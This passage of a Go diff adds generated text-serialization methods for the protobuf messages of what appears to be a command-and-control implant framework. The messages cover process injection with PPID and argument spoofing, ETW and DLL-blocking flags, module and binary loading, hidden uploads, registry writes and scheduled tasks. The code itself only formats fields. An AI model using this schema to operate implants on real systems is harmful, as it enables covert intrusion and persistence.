{ + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + if x.Ppid != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + if x.Owner != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("owner: ") + sb.WriteString(strconv.Quote(x.Owner)) + } + if x.Arch != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.Quote(x.Arch)) + } + if x.Path != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Args != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("args: ") + sb.WriteString(strconv.Quote(x.Args)) + } + if x.Uid != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("uid: ") + sb.WriteString(strconv.Quote(x.Uid)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Process) String() string { + return x.MarshalProtoText() +} +func (x *Timer) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Timer {") + if x.Expression != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("expression: ") + sb.WriteString(strconv.Quote(x.Expression)) + } + if x.Jitter != 0 { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("jitter: ") + sb.WriteString(strconv.FormatFloat(x.Jitter, 'g', -1, 64)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Timer) String() string { + return x.MarshalProtoText() +} +func (x *FileInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("FileInfo {") + if x.Name != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.IsDir != false { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("IsDir: ") + sb.WriteString(strconv.FormatBool(x.IsDir)) + } + if x.Size != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Size: ") + sb.WriteString(strconv.FormatUint(uint64(x.Size), 10)) + } + if x.ModTime != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("ModTime: ") + sb.WriteString(strconv.FormatInt(int64(x.ModTime), 10)) + } + if x.Mode != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Mode: ") + sb.WriteString(strconv.FormatUint(uint64(x.Mode), 10)) + } + if x.Link != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Link: ") + sb.WriteString(strconv.Quote(x.Link)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *FileInfo) String() string { + return x.MarshalProtoText() +} +func (x *SacrificeProcess) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SacrificeProcess {") + if x.Hidden != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("hidden: ") + sb.WriteString(strconv.FormatBool(x.Hidden)) + } + if x.BlockDll != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("block_dll: ") + sb.WriteString(strconv.FormatBool(x.BlockDll)) + } + if x.Etw != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("etw: ") + sb.WriteString(strconv.FormatBool(x.Etw)) + } + if x.Ppid != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + if x.Argue != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("argue: ") + sb.WriteString(strconv.Quote(x.Argue)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SacrificeProcess) String() string { + return x.MarshalProtoText() +} +func (x *LsResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LsResponse {") + if x.Path != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Exists != false { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Exists: ") + sb.WriteString(strconv.FormatBool(x.Exists)) + } + if len(x.Files) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Files: [") + for i, v := range x.Files { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LsResponse) String() string { + return x.MarshalProtoText() +} +func (x *DriveInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DriveInfo {") + if x.Path != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.DriveType != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("drive_type: ") + sb.WriteString(strconv.Quote(x.DriveType)) + } + if x.TotalSize != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("total_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.TotalSize), 10)) + } + if x.FreeSize != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("free_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.FreeSize), 10)) + } + if x.FileSystem != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("file_system: ") + sb.WriteString(strconv.Quote(x.FileSystem)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *DriveInfo) String() string { + return x.MarshalProtoText() +} +func (x *EnumDriversResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("EnumDriversResponse {") + if len(x.Drives) > 0 { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("drives: [") + for i, v := range x.Drives { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *EnumDriversResponse) String() string { + return x.MarshalProtoText() +} +func (x *PsResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PsResponse {") + if len(x.Processes) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("processes: [") + for i, v := range x.Processes { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PsResponse) String() string { + return x.MarshalProtoText() +} +func (x *ExecRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecRequest {") + if x.Path != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if len(x.Args) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if x.Output != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.FormatBool(x.Output)) + } + if x.Singleton != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("singleton: ") + sb.WriteString(strconv.FormatBool(x.Singleton)) + } + if x.Realtime != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("realtime: ") + sb.WriteString(strconv.FormatBool(x.Realtime)) + } + if x.Ppid != 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecRequest) String() string { + return x.MarshalProtoText() +} +func (x *ExecResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecResponse {") + if x.StatusCode != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("status_code: ") + sb.WriteString(strconv.FormatInt(int64(x.StatusCode), 10)) + } + if x.Stdout != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("stdout: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Stdout)) + sb.WriteString("\"") + } + if x.Stderr != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("stderr: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Stderr)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + if x.End != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecResponse) String() string { + return x.MarshalProtoText() +} +func (x *BinaryResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("BinaryResponse {") + if x.Data != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Message != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("message: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Message)) + sb.WriteString("\"") + } + if x.Status != 0 { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("status: ") + sb.WriteString(strconv.FormatInt(int64(x.Status), 10)) + } + if x.Err != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("err: ") + sb.WriteString(strconv.Quote(x.Err)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *BinaryResponse) String() string { + return x.MarshalProtoText() +} +func (x *Modules) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Modules {") + if len(x.Modules) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("modules: [") + for i, v := range x.Modules { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Modules) String() string { + return x.MarshalProtoText() +} +func (x *Addons) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Addons {") + if len(x.Addons) > 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("addons: [") + for i, v := range x.Addons { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Addons) String() string { + return x.MarshalProtoText() +} +func (x *Addon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Addon {") + if x.Name != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Type != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Depend != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("depend: ") + sb.WriteString(strconv.Quote(x.Depend)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Addon) String() string { + return x.MarshalProtoText() +} +func (x *LoadModule) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LoadModule {") + if x.Bundle != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bundle: ") + sb.WriteString(strconv.Quote(x.Bundle)) + } + if x.Bin != nil { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LoadModule) String() string { + return x.MarshalProtoText() +} +func (x *LoadAddon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LoadAddon {") + if x.Name != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Type != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Depend != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("depend: ") + sb.WriteString(strconv.Quote(x.Depend)) + } + if x.Bin != nil { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LoadAddon) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteAddon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteAddon {") + if x.Addon != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("addon: ") + sb.WriteString(strconv.Quote(x.Addon)) + } + if x.ExecuteBinary != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("execute_binary: ") + sb.WriteString(x.ExecuteBinary.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteAddon) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteBinary_ParamEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamEntry {") + if x.Key != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteBinary_ParamEntry) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteBinary) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteBinary {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Bin != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if len(x.Param) > 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("param: {") + for _, k := range slices.Sorted(maps.Keys(x.Param)) { + v := x.Param[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Type != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.ProcessName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("process_name: ") + sb.WriteString(strconv.Quote(x.ProcessName)) + } + if len(x.Args) > 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if x.EntryPoint != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("entry_point: ") + sb.WriteString(strconv.Quote(x.EntryPoint)) + } + if x.Data != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Output != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.FormatBool(x.Output)) + } + if x.Arch != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.FormatUint(uint64(x.Arch), 10)) + } + if x.Timeout != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("timeout: ") + sb.WriteString(strconv.FormatUint(uint64(x.Timeout), 10)) + } + if x.Sacrifice != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("sacrifice: ") + sb.WriteString(x.Sacrifice.MarshalProtoText()) + } + if x.Path != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Context != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("context: ") + sb.WriteString(strconv.Quote(x.Context)) + } + if x.Delay != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("delay: ") + sb.WriteString(strconv.FormatUint(uint64(x.Delay), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteBinary) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteCommand) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteCommand {") + if x.Command != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("command: ") + sb.WriteString(strconv.Quote(x.Command)) + } + if x.Sacrifice != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("sacrifice: ") + sb.WriteString(x.Sacrifice.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteCommand) String() string { + return x.MarshalProtoText() +} +func (x *UploadRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("UploadRequest {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Target != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("target: ") + sb.WriteString(strconv.Quote(x.Target)) + } + if x.Priv != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("priv: ") + sb.WriteString(strconv.FormatUint(uint64(x.Priv), 10)) + } + if x.Data != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Hidden != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("hidden: ") + sb.WriteString(strconv.FormatBool(x.Hidden)) + } + if x.Override != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("override: ") + sb.WriteString(strconv.FormatBool(x.Override)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *UploadRequest) String() string { + return x.MarshalProtoText() +} +func (x *DownloadRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DownloadRequest {") + if x.Path != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Name != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.BufferSize != 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("buffer_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.BufferSize), 10)) + } + if x.Dir != false { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("dir: ") + sb.WriteString(strconv.FormatBool(x.Dir)) + } + if x.Cur != 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("cur: ") + sb.WriteString(strconv.FormatInt(int64(x.Cur), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *DownloadRequest) String() string { + return x.MarshalProtoText() +} +func (x *DownloadResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DownloadResponse {") + if x.Checksum != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("checksum: ") + sb.WriteString(strconv.Quote(x.Checksum)) + } + if x.Size != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("size: ") + sb.WriteString(strconv.FormatUint(uint64(x.Size), 10)) + } + if x.Cur != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("cur: ") + sb.WriteString(strconv.FormatInt(int64(x.Cur), 10)) + } + if x.Content != nil { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("content: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Content)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *DownloadResponse) String() string { + return x.MarshalProtoText() +} +func (x *CurlRequest_HeaderEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("HeaderEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *CurlRequest_HeaderEntry) String() string { + return x.MarshalProtoText() +} +func (x *CurlRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("CurlRequest {") + if x.Url != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("url: ") + sb.WriteString(strconv.Quote(x.Url)) + } + if x.Timeout != 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("timeout: ") + sb.WriteString(strconv.FormatInt(int64(x.Timeout), 10)) + } + if x.Method != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("method: ") + sb.WriteString(strconv.Quote(x.Method)) + } + if x.Body != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("body: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Body)) + sb.WriteString("\"") + } + if len(x.Header) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("header: {") + for _, k := range slices.Sorted(maps.Keys(x.Header)) { + v := x.Header[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Hostname != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("hostname: ") + sb.WriteString(strconv.Quote(x.Hostname)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *CurlRequest) String() string { + return x.MarshalProtoText() +} +func (x *ChownRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ChownRequest {") + if x.Path != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Uid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("uid: ") + sb.WriteString(strconv.Quote(x.Uid)) + } + if x.Gid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("gid: ") + sb.WriteString(strconv.Quote(x.Gid)) + } + if x.Recursive != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("recursive: ") + sb.WriteString(strconv.FormatBool(x.Recursive)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ChownRequest) String() string { + return x.MarshalProtoText() +} +func (x *IfconfigResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("IfconfigResponse {") + if len(x.NetInterfaces) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("net_interfaces: [") + for i, v := range x.NetInterfaces { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *IfconfigResponse) String() string { + return x.MarshalProtoText() +} +func (x *RegistryRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RegistryRequest {") + if x.Type != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Registry != nil { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("registry: ") + sb.WriteString(x.Registry.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RegistryRequest) String() string { + return x.MarshalProtoText() +} +func (x *Registry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Registry {") + if x.Hive != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("hive: ") + sb.WriteString(strconv.Quote(x.Hive)) + } + if x.Path != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Key != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Registry) String() string { + return x.MarshalProtoText() +} +func (x *RegistryWriteRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RegistryWriteRequest {") + if x.Hive != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("hive: ") + sb.WriteString(strconv.Quote(x.Hive)) + } + if x.Path != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Key != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.StringValue != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("string_value: ") + sb.WriteString(strconv.Quote(x.StringValue)) + } + if x.ByteValue != nil { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("byte_value: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.ByteValue)) + sb.WriteString("\"") + } + if x.DwordValue != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("dword_value: ") + sb.WriteString(strconv.FormatUint(uint64(x.DwordValue), 10)) + } + if x.QwordValue != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("qword_value: ") + sb.WriteString(strconv.FormatUint(uint64(x.QwordValue), 10)) + } + if x.Regtype != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("regtype: ") + sb.WriteString(strconv.FormatUint(uint64(x.Regtype), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RegistryWriteRequest) String() string { + return x.MarshalProtoText() +} +func (x *TaskScheduleRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskScheduleRequest {") + if x.Type != "" { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Taskschd != nil { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("taskschd: ") + sb.WriteString(x.Taskschd.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskScheduleRequest) String() string { + return x.MarshalProtoText() +} +func (x *TaskSchedule) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskSchedule {") + if x.Name != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Path != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.ExecutablePath != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("executable_path: ") + sb.WriteString(strconv.Quote(x.ExecutablePath)) + } + if x.TriggerType != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("trigger_type: ") + sb.WriteString(strconv.FormatUint(uint64(x.TriggerType), 10)) + } + if x.StartBoundary != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("start_boundary: ") + sb.WriteString(strconv.Quote(x.StartBoundary)) + } + if x.Description != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("description: ") + sb.WriteString(strconv.Quote(x.Description)) + } + if x.Enabled != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("enabled: ") + sb.WriteString(strconv.FormatBool(x.Enabled)) + } + if x.LastRunTime != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("last_run_time: ") + sb.WriteString(strconv.Quote(x.LastRunTime)) + } + if x.NextRunTime != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("next_run_time: ") + sb.WriteString(strconv.Quote(x.NextRunTime)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskSchedule) String() string { + return x.MarshalProtoText() +} +func (x *TaskSchedulesResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskSchedulesResponse {") + if len(x.Schedules) > 0 { + if sb.Len() > 23 { + sb.WriteString(" ") + } + sb.WriteString("schedules: [") + for i, v := range x.Schedules { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskSchedulesResponse) String() string { + return x.MarshalProtoText() +} +func (x *ServiceRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceRequest {") + if x.Type != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + 